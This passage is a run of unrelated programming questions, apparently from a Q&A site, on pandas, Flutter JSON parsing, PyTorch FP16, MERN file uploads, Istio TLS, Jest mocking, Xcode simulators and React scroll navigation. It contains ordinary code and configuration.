If AVG_Price at 9:16 = AVG_Price at 9:15 and Net MF at 9:15 < 0 then Net MF at 9:16 = Net MF at 9:15 - MF at 9:16

If AVG_Price at 9:16 = AVG_Price at 9:15 and Net MF at 9:15 >= 0 then Net MF at 9:16 = Net MF at 9:15 + MF at 9:16
```

This logic continues till the end of the time period.

I need this logic to work for Multiple stock codes and multiple datetimes.

Currently I do not know how to do it in python using pandas data frame

Body:
I have the data as below.

|stock  |datetime               |AVG_Price      |MF     |NetMF
 ------- ----------------------- --------------- ------- --------
|ABCD   |2022-12-06 09:15:00    |234.50         |237864 |237864
|ABCD   |2022-12-06 09:16:00    |236.55         |357784 |595648
|ABCD   |2022-12-06 09:17:00    |233.23         |334959 |260689
|ABCD   |2022-12-06 09:18:00    |233.23         |498756 |759445
|ABCD   |2022-12-06 09:19:00    |225.23         |456789 |302656
|ABCD   |2022-12-06 09:20:00    |222.23         |678546 |-375890
|ABCD   |2022-12-06 09:21:00    |222.23         |567483 |-943373
|ABCD   |2022-12-06 09:22:00    |220.23         |67483  |-1010856

The desired output in NetMF

I want to calculate Net MF using below conditions.

At datetime 9:15, I will return MF value into Net MF From 9:16 onwards below is the logic i want to follow:

If AVG_Price at 9:16 > AVG_Price at 9:15 then Net MF at 9:16 = Net MF at 9:15 + MF at 9:16

If AVG_Price at 9:16 < AVG_Price at 9:15 then Net MF at 9:16 = Net MF at 9:15 - MF at 9:16

If AVG_Price at 9:16 = AVG_Price at 9:15 and Net MF at 9:15 < 0 then Net MF at 9:16 = Net MF at 9:15 - MF at 9:16

If AVG_Price at 9:16 = AVG_Price at 9:15 and Net MF at 9:15 >= 0 then Net MF at 9:16 = Net MF at 9:15 + MF at 9:16

This logic continues till the end of the time period.

I need this logic to work for Multiple stock codes and multiple datetimes.

Currently I do not know how to do it in python using pandas data frame


问:
How do you make an android layout hold widgets programmatically?
I'm trying to make a custom home screen application and can't seem to find an article or a book that explains how to add widgets to a layer programmatically. Anyone know of any good tutorials or a book where I can find this information as a Google search only returned me articles on how to make a widget. Maybe I'm asking the wrong question in Google or something. Anyway, thank you!

EDIT: Since I don't have 100 reputation yet I can't answer my own question... which is... ah nvm...

This is the answer... the only one I could find: http://www.anddev.org/advanced-tutorials-f21/appwidgethost-tutorial-t10329.html

It works but you have to really take the time to understand it. Anyway it's the only real... example I could find I guess.

ContentLicense: CC BY-SA 3.0


问:
MikroORM mongo's nested population returns unnecessary data
T have a nested structure:

RequestEntity has one requester (UserEntity), one department (DepartmentEntity)

UserEntity has one department (DepartmentEntity)
Note that all entities have one created and one modified (UserEntity)

Query:

```<code>em.find(RequestEntity, {}, { populate: ['requester.department', 'department']})
</code>```

The returned results include the fields I don't want to populate: created, modified. Moreover, UserEntity has populated department, department has populated created (UserEntity). That repeatedly makes 1 returned record very large, maybe up to 10Mb.

Can someone give me a solution please? Sorry my English is not good so I can't explain the problem very clearly.

Body:
T have a nested structure:

RequestEntity has one requester (UserEntity), one department (DepartmentEntity)

UserEntity has one department (DepartmentEntity)
Note that all entities have one created and one modified (UserEntity)

Query:

em.find(RequestEntity, {}, { populate: ['requester.department', 'department']})

The returned results include the fields I don't want to populate: created, modified. Moreover, UserEntity has populated department, department has populated created (UserEntity). That repeatedly makes 1 returned record very large, maybe up to 10Mb.

Can someone give me a solution please? Sorry my English is not good so I can't explain the problem very clearly.


问:
Unhandled Exception: type '_InternalLinkedHashMap<String, dynamic>' is not a subtype of type 'String'
I am trying to get a JSON response from the server. and add the data to valuenotifier(NoteNotifier).
and I want to display the data on the screen.

```<code>Future<List<NoteModel>> Get_all() async {
    final _response = await dio.get(url.baseUri + url.getNote);
    if (_response.data != null) {
      final dataAsjson = jsonDecode(_response.data);
      final getnoteRes = NoteModelList.fromJson(dataAsjson);
      NoteNotifier.value.clear();
      NoteNotifier.value.addAll(getnoteRes.data.reversed);
      NoteNotifier.notifyListeners();
      return getnoteRes.data;
    } else {
      NoteNotifier.value.clear();
      return [];
    }
  }
</code>```

This is my JSON data.

```<code>{
    "data": [
        {
            "_id": "1672281889986369",
            "title": "Hello",
            "content": "Hello"
        },
        {
            "_id": "1672282871057731",
            "title": "6t6f",
            "content": "5f5f5f"
        }
    ]
}
</code>```

This is my valueListenableBuilder code

```<code> ValueListenableBuilder(
                valueListenable: Data_fuctions.instance.NoteNotifier,
                builder: (context, List<NoteModel> newValue, child) {
                  return GridView.count(
                    crossAxisCount: 2,
                    mainAxisSpacing: 10,
                    crossAxisSpacing: 10,
                    padding: const EdgeInsets.all(10),
                    children: List.generate(newValue.length, (index) {
                      final value = newValue[index];
                      if (value.id == null) {
                        const SizedBox();
                      }
                      return MyNote(
                        title: value.title,
                        content: value.content,
                        id: value.id,
                      );
                    }),
                  );
                },
              )
</code>```

Body:
I am trying to get a JSON response from the server. and add the data to valuenotifier(NoteNotifier).
and I want to display the data on the screen.

Future<List<NoteModel>> Get_all() async {
    final _response = await dio.get(url.baseUri + url.getNote);
    if (_response.data != null) {
      final dataAsjson = jsonDecode(_response.data);
      final getnoteRes = NoteModelList.fromJson(dataAsjson);
      NoteNotifier.value.clear();
      NoteNotifier.value.addAll(getnoteRes.data.reversed);
      NoteNotifier.notifyListeners();
      return getnoteRes.data;
    } else {
      NoteNotifier.value.clear();
      return [];
    }
  }

This is my JSON data.

{
    "data": [
        {
            "_id": "1672281889986369",
            "title": "Hello",
            "content": "Hello"
        },
        {
            "_id": "1672282871057731",
            "title": "6t6f",
            "content": "5f5f5f"
        }
    ]
}

This is my valueListenableBuilder code

 ValueListenableBuilder(
                valueListenable: Data_fuctions.instance.NoteNotifier,
                builder: (context, List<NoteModel> newValue, child) {
                  return GridView.count(
                    crossAxisCount: 2,
                    mainAxisSpacing: 10,
                    crossAxisSpacing: 10,
                    padding: const EdgeInsets.all(10),
                    children: List.generate(newValue.length, (index) {
                      final value = newValue[index];
                      if (value.id == null) {
                        const SizedBox();
                      }
                      return MyNote(
                        title: value.title,
                        content: value.content,
                        id: value.id,
                      );
                    }),
                  );
                },
              )


问:
Is there a reason why a nan value appears when there is no nan value in the model parameter?
I want to train the model with FP32 and perform inference with FP16.

For other networks (ResNet) with FP16, it worked.

But EDSR (super resolution) with FP16 did not work.

The differences I found are that

ReLU with inplace=True in EDSR

PixelShuffle in EDSR

No batchnorm in EDSR

I am using CUDA 11.3, python 3.8.12, pytorch 1.12.1 and cudnn 8.7.0. Is there any functions that does not support FP16 in convolutional neural network?

GPU : RTX A6000

My process is like :

```<code>net_half = net.half()
net_half.eval()
input_half = input.half()

with torch.no_grad():
     output_half = net_half(input_half)
</code>```

I checked that there is no Nan in model parameters and input by checking

```<code>torch.stack([torch.isnan(p).any() for p in net_half.parameters()]).any()
torch.isnan(input_half).any()
</code>```

gives False.

And by checking simple operations in EDSR :

```<code>x = torch.randn(1,4,Ny//2,Nx//2)

test_block1 = nn.Sequential(
    nn.Conv2d(4,64,kernel_size=3,padding=1),
    nn.Conv2d(64,64,kernel_size=3,padding=1,bias=True),
    nn.ReLU(True),
    nn.Conv2d(64,64,kernel_size=3,padding=1,bias=True),
    nn.Conv2d(64,64*4,kernel_size=3,padding=1,bias=True),
    nn.PixelShuffle(2),
    nn.ReLU(True),
    nn.Conv2d(64,4,kernel_size=3,padding=1)
)
x = x.half().to(device)
test_block1 = test_block1.half().to(device)
with torch.no_grad():
    y = test_block1(x)

print(y)
</code>```

It does not give any Nan values.

I don't know why but I could have got the results at epoch 1 and Nan values at epoch 4.

Body:
I want to train the model with FP32 and perform inference with FP16.

For other networks (ResNet) with FP16, it worked.

But EDSR (super resolution) with FP16 did not work.

The differences I found are that

ReLU with inplace=True in EDSR

PixelShuffle in EDSR

No batchnorm in EDSR

I am using CUDA 11.3, python 3.8.12, pytorch 1.12.1 and cudnn 8.7.0. Is there any functions that does not support FP16 in convolutional neural network?

GPU : RTX A6000

My process is like :

net_half = net.half()
net_half.eval()
input_half = input.half()

with torch.no_grad():
     output_half = net_half(input_half)

I checked that there is no Nan in model parameters and input by checking

torch.stack([torch.isnan(p).any() for p in net_half.parameters()]).any()
torch.isnan(input_half).any()

gives False.

And by checking simple operations in EDSR :

x = torch.randn(1,4,Ny//2,Nx//2)

test_block1 = nn.Sequential(
    nn.Conv2d(4,64,kernel_size=3,padding=1),
    nn.Conv2d(64,64,kernel_size=3,padding=1,bias=True),
    nn.ReLU(True),
    nn.Conv2d(64,64,kernel_size=3,padding=1,bias=True),
    nn.Conv2d(64,64*4,kernel_size=3,padding=1,bias=True),
    nn.PixelShuffle(2),
    nn.ReLU(True),
    nn.Conv2d(64,4,kernel_size=3,padding=1)
)
x = x.half().to(device)
test_block1 = test_block1.half().to(device)
with torch.no_grad():
    y = test_block1(x)

print(y)

It does not give any Nan values.

I don't know why but I could have got the results at epoch 1 and Nan values at epoch 4.


问:
Powershell command to find the Target of a file
I need to find a command to get my way to the Target information of a file. My tech team decided they wouldn't give me access on the remote server to do normal thinks like right click or using windows explorer to get to properties. The one thing I do have is access to powershell. I've tried dozens of different commands, but none of them get the information out of the shortcut tab in properties.

Below is an example of the information I need to find.


问:
ModelMapper Support for GraalVM Native Image
Does ModelMapper support GraalVM Native Image building? Have tried to build a native image using latest Graal and Spring Boot, running into multiple issues even after configuring the maps, converters via reflect-config.json


问:
Need to generate the path of nested screen using expo-linking
enter image description here

enter image description here

Here you can see in the last I tried to pass the URL of the payment method screen which is already defined the stacks, I have the structure like this
I am using the tabs in my react native application Home > More (Tab) > MyWallet (Screen) > PaymentMethod (Screen)

Need to generate the path of the above-mentioned screen so that it can easily read when the app is launched

Need to generate the path of the above-mentioned screen so that it can easily read when the app is launched


问:
How to set global font or default fonts in Elementor custom widgets using code?
I have created an Elementor custom widget to enhance the functionality, but I am facing an issue. After setting up all the widgets I am not able to set the default fonts for my widgets. For reference, you can check the below code.

In the below code, I just wanted to set the default font family, font size, font weight, and so on. But I am not finding any solution to set the default value.

Code I am using

```<code>$this->add_group_control(
            \Elementor\Group_Control_Typography::get_type(),
            [
                'name' => 'dte_typ',
                'label' => __( 'Date', 'plugin-domain' ),
                'scheme' => Elementor\Core\Schemes\Typography::TYPOGRAPHY_1,
                'selector' => '{{WRAPPER}} .sp-our-story-data-container .sp-our-story-details .sp-our-story-date',
            ]
        );
</code>```

Tried this code but it is not working

```<code>$this->add_group_control(
            \Elementor\Group_Control_Typography::get_type(),
            [
                'name' => 'dte_typ',
                'label' => __( 'Date', 'plugin-domain' ),
                'scheme' => Elementor\Core\Schemes\Typography::TYPOGRAPHY_1,
                'default' => [
                    'Family' => 'Aleo',
                ],
                'selector' => '{{WRAPPER}} .sp-our-story-data-container .sp-our-story-details .sp-our-story-date',
            ]
        );
</code>```

Body:
I have created an Elementor custom widget to enhance the functionality, but I am facing an issue. After setting up all the widgets I am not able to set the default fonts for my widgets. For reference, you can check the below code.

In the below code, I just wanted to set the default font family, font size, font weight, and so on. But I am not finding any solution to set the default value.

Code I am using

$this->add_group_control(
            \Elementor\Group_Control_Typography::get_type(),
            [
                'name' => 'dte_typ',
                'label' => __( 'Date', 'plugin-domain' ),
                'scheme' => Elementor\Core\Schemes\Typography::TYPOGRAPHY_1,
                'selector' => '{{WRAPPER}} .sp-our-story-data-container .sp-our-story-details .sp-our-story-date',
            ]
        );

Tried this code but it is not working

$this->add_group_control(
            \Elementor\Group_Control_Typography::get_type(),
            [
                'name' => 'dte_typ',
                'label' => __( 'Date', 'plugin-domain' ),
                'scheme' => Elementor\Core\Schemes\Typography::TYPOGRAPHY_1,
                'default' => [
                    'Family' => 'Aleo',
                ],
                'selector' => '{{WRAPPER}} .sp-our-story-data-container .sp-our-story-details .sp-our-story-date',
            ]
        );


问:
Create a post with image file and json data - MERN stack, cloudinary, multer
I am trying to create MERN stack app with the function creating job posts with json data (company name, position etc) and the image (company logo).

I use multer and cloudinary to upload and save image, and mongo db to save file path. I cannot send POST request on POSTMAN with json data and image file at the same time, so I cannot test if my code actually works. Could someone verify it or help me how to send json and file at the same time?

Job.js in models

```<code>const mongoose = require('mongoose');
const slugify = require('slugify');

const JobSchema = new mongoose.Schema({
  company: {
    type: String,
    required: [true, 'Please add a company'],
    trim: true,
    maxlength: [50, 'Company name can not be more than 50 characters'],
  },
  slug: String,
  logo: {
    type: String,
    required: [true, 'Please add a logo'],
  },
  new: {
    type: Boolean,
    default: false,
  },
  featured: {
    type: Boolean,
    default: false,
  },
  position: {
    type: String,
    required: [true, 'Please add a position'],
    maxlength: [100, '`Position` can not be more than 50 characters'],
  },
  role: {
    type: String,
    required: true,
    enum: ['Frontend', 'Fullstack', 'Backend'],
  },
  level: {
    type: String,
    required: true,
    enum: ['Junior', 'Midweight', 'Senior'],
  },
  postedAt: {
    type: String,
    required: true,
    // need to be "-d ago"
    // type: Date,
    // default: Date.now,
  },
  contract: {
    type: String,
    required: true,
    enum: ['Full Time', 'Part Time', 'Contract'],
  },
  location: { type: String, required: [true, 'Please add a location'] },
  languages: { type: [String], required: [true, 'Please add languages'] },
  tools: { type: [String], required: false },
  createdAt: {
    type: Date,
    default: Date.now,
  },
});

// Create job slug from the company name
JobSchema.pre('save', function (next) {
  this.slug = slugify(this.company, { lower: true });
  next();
});

module.exports = mongoose.model('Job', JobSchema);
</code>```

jobs.js in controllers

```<code>const ErrorResponse = require('../utils/errorResponse');
const asyncHandler = require('../middleware/async');
const Job = require('../models/Job');

// @desc Create single job
// @routes POST /api/jobs
// @access Private
exports.createJob = asyncHandler(async (req, res, next) => {
  const job = await Job.create({ ...req.body, logo: req.file.path });

  res.status(201).json({
    success: true,
    data: job,
  });
});
</code>```

jobs.js in routes*

```<code>const express = require('express');
const parser = require('../middleware/cloudinary');
const {
  getJobs,
  getJob,
  createJob,
  updateJob,
  deleteJob,
} = require('../controllers/jobs');

const router = express.Router();

router.route('/').get(getJobs).post(parser.single('logo'), createJob);

router.route('/:id').get(getJob).put(updateJob).delete(deleteJob);

module.exports = router;
</code>```

server.js

```<code>const path = require('path');
const express = require('express');
const dotenv = require('dotenv');
const morgan = require('morgan');
const errorHandler = require('./middleware/error');
const connectDB = require('./config/db');

// Load env vars
dotenv.config({ path: './config/config.env' });

// Connect to database
connectDB();

// Route file
const jobRoutes = require('./routes/jobs');

// express app
const app = express();

// Body parser
app.use(express.json());

// Dev logging middleware
if (process.env.NODE_ENV === 'development') {
  app.use(morgan('dev'));
}

// routes
app.use('/api/jobs', jobRoutes);

app.use(errorHandler);

// listen for requests
const PORT = process.env.PORT || 5000;
const server = app.listen(
  PORT,
  console.log(`Server running in ${process.env.NODE_ENV} mode on port ${PORT}`)
);

// Handle unhandled promise rejections
process.on('unhandledRejection', (err, promise) => {
  console.log(`Error: ${err.message}`);
  // Close server & exit process
  server.close(() => process.exit(1));
});

</code>```

cloudinary.js in middleware

```<code>const multer = require('multer');
const cloudinary = require('cloudinary').v2;
const { CloudinaryStorage } = require('multer-storage-cloudinary');

const { CLOUDINARY_HOST, CLOUDINARY_API_KEY, CLOUDINARY_API_SECRET } =
  process.env;

cloudinary.config({
  cloud_name: CLOUDINARY_HOST,
  api_key: CLOUDINARY_API_KEY,
  api_secret: CLOUDINARY_API_SECRET,
});

const storage = new CloudinaryStorage({
  cloudinary: cloudinary,
  params: {
    folder: 'folder name',
    format: async (req, file) => 'svg',
    public_id: (req, file) => file.filename,
  },
});

const parser = multer({ storage: storage });

module.exports = parser;
</code>```

Body:
I am trying to create MERN stack app with the function creating job posts with json data (company name, position etc) and the image (company logo).

I use multer and cloudinary to upload and save image, and mongo db to save file path. I cannot send POST request on POSTMAN with json data and image file at the same time, so I cannot test if my code actually works. Could someone verify it or help me how to send json and file at the same time?

Job.js in models

const mongoose = require('mongoose');
const slugify = require('slugify');

const JobSchema = new mongoose.Schema({
  company: {
    type: String,
    required: [true, 'Please add a company'],
    trim: true,
    maxlength: [50, 'Company name can not be more than 50 characters'],
  },
  slug: String,
  logo: {
    type: String,
    required: [true, 'Please add a logo'],
  },
  new: {
    type: Boolean,
    default: false,
  },
  featured: {
    type: Boolean,
    default: false,
  },
  position: {
    type: String,
    required: [true, 'Please add a position'],
    maxlength: [100, '`Position` can not be more than 50 characters'],
  },
  role: {
    type: String,
    required: true,
    enum: ['Frontend', 'Fullstack', 'Backend'],
  },
  level: {
    type: String,
    required: true,
    enum: ['Junior', 'Midweight', 'Senior'],
  },
  postedAt: {
    type: String,
    required: true,
    // need to be "-d ago"
    // type: Date,
    // default: Date.now,
  },
  contract: {
    type: String,
    required: true,
    enum: ['Full Time', 'Part Time', 'Contract'],
  },
  location: { type: String, required: [true, 'Please add a location'] },
  languages: { type: [String], required: [true, 'Please add languages'] },
  tools: { type: [String], required: false },
  createdAt: {
    type: Date,
    default: Date.now,
  },
});

// Create job slug from the company name
JobSchema.pre('save', function (next) {
  this.slug = slugify(this.company, { lower: true });
  next();
});

module.exports = mongoose.model('Job', JobSchema);

jobs.js in controllers

const ErrorResponse = require('../utils/errorResponse');
const asyncHandler = require('../middleware/async');
const Job = require('../models/Job');

// @desc Create single job
// @routes POST /api/jobs
// @access Private
exports.createJob = asyncHandler(async (req, res, next) => {
  const job = await Job.create({ ...req.body, logo: req.file.path });

  res.status(201).json({
    success: true,
    data: job,
  });
});

jobs.js in routes*

const express = require('express');
const parser = require('../middleware/cloudinary');
const {
  getJobs,
  getJob,
  createJob,
  updateJob,
  deleteJob,
} = require('../controllers/jobs');

const router = express.Router();

router.route('/').get(getJobs).post(parser.single('logo'), createJob);

router.route('/:id').get(getJob).put(updateJob).delete(deleteJob);

module.exports = router;

server.js

const path = require('path');
const express = require('express');
const dotenv = require('dotenv');
const morgan = require('morgan');
const errorHandler = require('./middleware/error');
const connectDB = require('./config/db');

// Load env vars
dotenv.config({ path: './config/config.env' });

// Connect to database
connectDB();

// Route file
const jobRoutes = require('./routes/jobs');

// express app
const app = express();

// Body parser
app.use(express.json());

// Dev logging middleware
if (process.env.NODE_ENV === 'development') {
  app.use(morgan('dev'));
}

// routes
app.use('/api/jobs', jobRoutes);

app.use(errorHandler);

// listen for requests
const PORT = process.env.PORT || 5000;
const server = app.listen(
  PORT,
  console.log(`Server running in ${process.env.NODE_ENV} mode on port ${PORT}`)
);

// Handle unhandled promise rejections
process.on('unhandledRejection', (err, promise) => {
  console.log(`Error: ${err.message}`);
  // Close server & exit process
  server.close(() => process.exit(1));
});

cloudinary.js in middleware

const multer = require('multer');
const cloudinary = require('cloudinary').v2;
const { CloudinaryStorage } = require('multer-storage-cloudinary');

const { CLOUDINARY_HOST, CLOUDINARY_API_KEY, CLOUDINARY_API_SECRET } =
  process.env;

cloudinary.config({
  cloud_name: CLOUDINARY_HOST,
  api_key: CLOUDINARY_API_KEY,
  api_secret: CLOUDINARY_API_SECRET,
});

const storage = new CloudinaryStorage({
  cloudinary: cloudinary,
  params: {
    folder: 'folder name',
    format: async (req, file) => 'svg',
    public_id: (req, file) => file.filename,
  },
});

const parser = multer({ storage: storage });

module.exports = parser;


问:
Istio TLS with AWS ACM got Empty reply from server
I have set the ACM for AWS NLB.
enter image description here

Then I deploy gateway and virtual service.

```<code>apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: jenkins-gateway
  namespace: jenkins
spec:
  selector:
    istio: ingressgateway
  servers:
  - port:
      number: 443
      name: http-jenkins
      protocol: HTTP
    hosts:
    - "cicd.domain.com"

---
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: jenkins-vs
  namespace: jenkins
spec:
  hosts:
  - "cicd.domain.com"
  gateways:
  - jenkins-gateway
  http:
  - route:
    - destination:
        host: jenkins
        port:
          number: 8080
</code>```

But when I use curl to access https://cicd.domain.com, I got curl: (52) Empty reply from server.

I also have add service annotation for istio-ingressgateway

```<code>      annotations:
        service.beta.kubernetes.io/aws-load-balancer-name: "name"
        service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
        service.beta.kubernetes.io/aws-load-balancer-cross-zone-load-balancing-enabled: "true"
        service.beta.kubernetes.io/aws-load-balancer-ssl-cert: "arn:aws:acm:ap-south-1:xxxxxx:certificate/e050b0fc-7117-444a-a296-ebcdc01d3ab2"
        service.beta.kubernetes.io/aws-load-balancer-backend-protocol: "http"
        service.beta.kubernetes.io/aws-load-balancer-ssl-ports: "https"
        service.beta.kubernetes.io/aws-load-balancer-connection-idle-timeout: "60"
        service.beta.kubernetes.io/aws-load-balancer-scheme: "internet-facing"
</code>```

Istio version: 1.16.1

EKS version: v1.23

Any help is appreciated.

Body:
I have set the ACM for AWS NLB.
enter image description here

Then I deploy gateway and virtual service.

apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: jenkins-gateway
  namespace: jenkins
spec:
  selector:
    istio: ingressgateway
  servers:
  - port:
      number: 443
      name: http-jenkins
      protocol: HTTP
    hosts:
    - "cicd.domain.com"

---
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: jenkins-vs
  namespace: jenkins
spec:
  hosts:
  - "cicd.domain.com"
  gateways:
  - jenkins-gateway
  http:
  - route:
    - destination:
        host: jenkins
        port:
          number: 8080

But when I use curl to access https://cicd.domain.com, I got curl: (52) Empty reply from server.

I also have add service annotation for istio-ingressgateway

      annotations:
        service.beta.kubernetes.io/aws-load-balancer-name: "name"
        service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
        service.beta.kubernetes.io/aws-load-balancer-cross-zone-load-balancing-enabled: "true"
        service.beta.kubernetes.io/aws-load-balancer-ssl-cert: "arn:aws:acm:ap-south-1:xxxxxx:certificate/e050b0fc-7117-444a-a296-ebcdc01d3ab2"
        service.beta.kubernetes.io/aws-load-balancer-backend-protocol: "http"
        service.beta.kubernetes.io/aws-load-balancer-ssl-ports: "https"
        service.beta.kubernetes.io/aws-load-balancer-connection-idle-timeout: "60"
        service.beta.kubernetes.io/aws-load-balancer-scheme: "internet-facing"

Istio version: 1.16.1

EKS version: v1.23

Any help is appreciated.


问:
Testing event emitters with Jest gives an error: Timeout-Async callback was not invoked within the 5000ms timeout specified by jest.setTimeout.Timeout
This is my sample function and I want to create a test for it using jest, the S3 library test is already working but the "on" event listener gives an error

import { S3 } from 'aws-sdk';
import * as csvParse from 'fast-csv';

async function downloadCsvFile(fileName: string, bucketName: string): Promise<any> {
  let parseStreamData;
  var params = {
    Bucket: bucketName,
    Key: fileName,
  };
  try {
    await new S3().headObject(params).promise();
    let csvReadStream = new S3().getObject(params).createReadStream();
    let csvFileArray: Array<any> = [];
    parseStreamData = new Promise((resolve, reject) => {
      csvParse
        .parseStream(csvReadStream, { headers: true })
        .on('data', function(data) {
          csvFileArray.push(data);
        })
        .on('end', function() {
          resolve(csvFileArray);
        })
        .on('error', function() {
          reject('csv parse process failed');
        });
    });
  } catch (error) {
    console.log(error);
    return [];
  }
  return await parseStreamData;
}
```
<p>This is my test, I already mocked the parseStream function with the "on" event listeners, but when I run the test it gives me an error</p>
<pre class="lang-js prettyprint-override"><code>import { bucketHandler } from './bucketHandler';
import { mocked } from 'ts-jest/utils';
import { parseStream } from "fast-csv";
import { S3 } from 'aws-sdk';
jest.mock('aws-sdk');
jest.mock("fast-csv");

describe('handler', () => {
    test('downloadCsvFile', async () => {
        mocked(S3).mockImplementationOnce((): any => ({
            headObject: () => ({
                promise: () => Promise.resolve(),
          }),
        }));
        mocked(S3).mockImplementationOnce((): any => {
            return {
                getObject: () => {
                    return {
                        createReadStream: () => {
                            return {}
                        },
                    };
                },
            };
        });
        mocked(parseStream).mockImplementationOnce((): any => {
           return {
                on: () => {
                    return {
                        on: () => {
                            return {
                                on: () => {
                                    return {}
                                }
                            }
                        }
                    }
                },
            }
        });
        expect(await bucketHandler.downloadCsvFile('1', '1')).toEqual([{}]);
      });
});
</code>```

This is the error when I run the test:

$ npm run test src/aws-s3/bucketHandler.test.ts

 FAIL  src/aws-s3/bucketHandler.test.ts (6.221s)
  handler
    × downloadCsvFile (5015ms)

  ● handler › downloadCsvFile

    : Timeout - Async callback was not invoked within the 5000ms timeout specified by jest.setTimeout.Timeout - Async callback was not invoked within the 5000ms timeout specified by jest.setTimeout.Error:

       8 |
       9 | describe('handler', () => {
    > 10 |     test('downloadCsvFile', async () => {
         |     ^
      11 |         mocked(S3).mockImplementationOnce((): any => ({
      12 |             headObject: () => ({
      13 |                 promise: () => Promise.resolve(),

      at new Spec (node_modules/jest-jasmine2/build/jasmine/Spec.js:116:22)
      at Suite.<anonymous> (src/aws-s3/bucketHandler.test.ts:10:5)
      at Object.<anonymous> (src/aws-s3/bucketHandler.test.ts:9:1)

Test Suites: 1 failed, 1 total
Tests:       1 failed, 1 total
Snapshots:   0 total
Time:        6.77s, estimated 13s
Ran all test suites matching /src\\aws-s3\\bucketHandler.test.ts/i.
```

Body:
This is my sample function and I want to create a test for it using jest, the S3 library test is already working but the "on" event listener gives an error

import { S3 } from 'aws-sdk';
import * as csvParse from 'fast-csv';

async function downloadCsvFile(fileName: string, bucketName: string): Promise<any> {
  let parseStreamData;
  var params = {
    Bucket: bucketName,
    Key: fileName,
  };
  try {
    await new S3().headObject(params).promise();
    let csvReadStream = new S3().getObject(params).createReadStream();
    let csvFileArray: Array<any> = [];
    parseStreamData = new Promise((resolve, reject) => {
      csvParse
        .parseStream(csvReadStream, { headers: true })
        .on('data', function(data) {
          csvFileArray.push(data);
        })
        .on('end', function() {
          resolve(csvFileArray);
        })
        .on('error', function() {
          reject('csv parse process failed');
        });
    });
  } catch (error) {
    console.log(error);
    return [];
  }
  return await parseStreamData;
}

This is my test, I already mocked the parseStream function with the "on" event listeners, but when I run the test it gives me an error

import { bucketHandler } from './bucketHandler';
import { mocked } from 'ts-jest/utils';
import { parseStream } from "fast-csv";
import { S3 } from 'aws-sdk';
jest.mock('aws-sdk');
jest.mock("fast-csv");

describe('handler', () => {
    test('downloadCsvFile', async () => {
        mocked(S3).mockImplementationOnce((): any => ({
            headObject: () => ({
                promise: () => Promise.resolve(),
          }),
        }));
        mocked(S3).mockImplementationOnce((): any => {
            return {
                getObject: () => {
                    return {
                        createReadStream: () => {
                            return {}
                        },
                    };
                },
            };
        });
        mocked(parseStream).mockImplementationOnce((): any => {
           return {
                on: () => {
                    return {
                        on: () => {
                            return {
                                on: () => {
                                    return {}
                                }
                            }
                        }
                    }
                },
            }
        });
        expect(await bucketHandler.downloadCsvFile('1', '1')).toEqual([{}]);
      });
});

This is the error when I run the test:

$ npm run test src/aws-s3/bucketHandler.test.ts

 FAIL  src/aws-s3/bucketHandler.test.ts (6.221s)
  handler
    × downloadCsvFile (5015ms)

  ● handler › downloadCsvFile

    : Timeout - Async callback was not invoked within the 5000ms timeout specified by jest.setTimeout.Timeout - Async callback was not invoked within the 5000ms timeout specified by jest.setTimeout.Error:

       8 |
       9 | describe('handler', () => {
    > 10 |     test('downloadCsvFile', async () => {
         |     ^
      11 |         mocked(S3).mockImplementationOnce((): any => ({
      12 |             headObject: () => ({
      13 |                 promise: () => Promise.resolve(),

      at new Spec (node_modules/jest-jasmine2/build/jasmine/Spec.js:116:22)
      at Suite.<anonymous> (src/aws-s3/bucketHandler.test.ts:10:5)
      at Object.<anonymous> (src/aws-s3/bucketHandler.test.ts:9:1)

Test Suites: 1 failed, 1 total
Tests:       1 failed, 1 total
Snapshots:   0 total
Time:        6.77s, estimated 13s
Ran all test suites matching /src\\aws-s3\\bucketHandler.test.ts/i.


问:
How to run iOS app on simulator using latest Xcode 14?
I am following this Udemy course called iOS & Swift - The Complete iOS App Development Bootcamp by Angela Yu. I'm on lesson 23 where I'm supposed to run an app on a simulator. Using Xcode version 14.2 (14C18), when I clicked on the run/play button, I am greeted with this error:

I clicked on the app name as instructed in the video, but no list of simulators appear unlike in the video. So I click on the area beside it that says "Any iOS device" and click on "add additional simulators".

I create an iPhone 8 simulator, but see no option to actually use it. It just shows up alongside a list of devices. See screenshot:

Is there anything I've missed? If it matters, I'm on an M1 Macbook Pro. Or maybe I need to do additional work since I'm using an M1?


问:
Delaying event listener from firing an event?
I am developing an app where on mouse wheel up and down navigates the user to different routes in the App. I also have animations corresponding to which way the user scrolls: when scrolling down the next route will intialize from below and the previous route will exit from below, and vice-versa.

this part has been simple enough to implement as per the code below(link to full live working example at the bottom of this post):

Custom Hook UseAppDirection.js

import { useState, useEffect, useContext } from "react";
import { useLocation, useNavigate } from "react-router-dom"

function useAppDirection(navDown, navUp, directionValueDown, directionValueUp) {
    const navigate = useNavigate();
    const location = useLocation();
    const { pathname } = location;
    const [isUp, setIsUp] = useState(false);

    useEffect(() => {
        function handleNavigation(e) {
            if (e.deltaY > 1) {
                setIsUp(false)
                setTimeout(() => {
                    navigate(navDown, { state: { value: directionValueDown } });
                }, 200)
            } else if (e.deltaY < 1) {
                setIsUp(true)
                setTimeout(() => {
                    navigate(navUp, { state: { value: directionValueUp } });
                }, 200)
            }
        }
        window.addEventListener("wheel", handleNavigation);

        return () => window.removeEventListener("wheel", handleNavigation);
    }, [pathname]);

    return { location, isUp }
}

export default useAppDirection
```
<p>AboutMe.js</p>
<pre class="lang-react prettyprint-override"><code>import React from "react";
import { motion } from "framer-motion";
import useAppDirection from "../Hooks/useAppDirection";

export default function AboutMe() {
    const { isUp, location } = useAppDirection("/work", "/skills", 1000, -1000);

    return (
        <motion.div
            className="aboutme--top"
            initial={{ opacity: 0, y: location.state.value, transition: { duration: 0.8 } }}
            animate={{ opacity: 1, y: 0, transition: { duration: 0.8 } }}
            exit={{ opacity: 0, y:  isUp ? 1300 : -1300, transition: { duration: 0.8 } }}
        >
        </motion.div >
    )
}
</code>```

However one major problem I have ran into is when a user scrolls one direction and in mid transition scrolls the opposite direction; both animations occur simultaneously resulting in a very ugly and janky transition as two components are simultaneously both leaving and exiting.

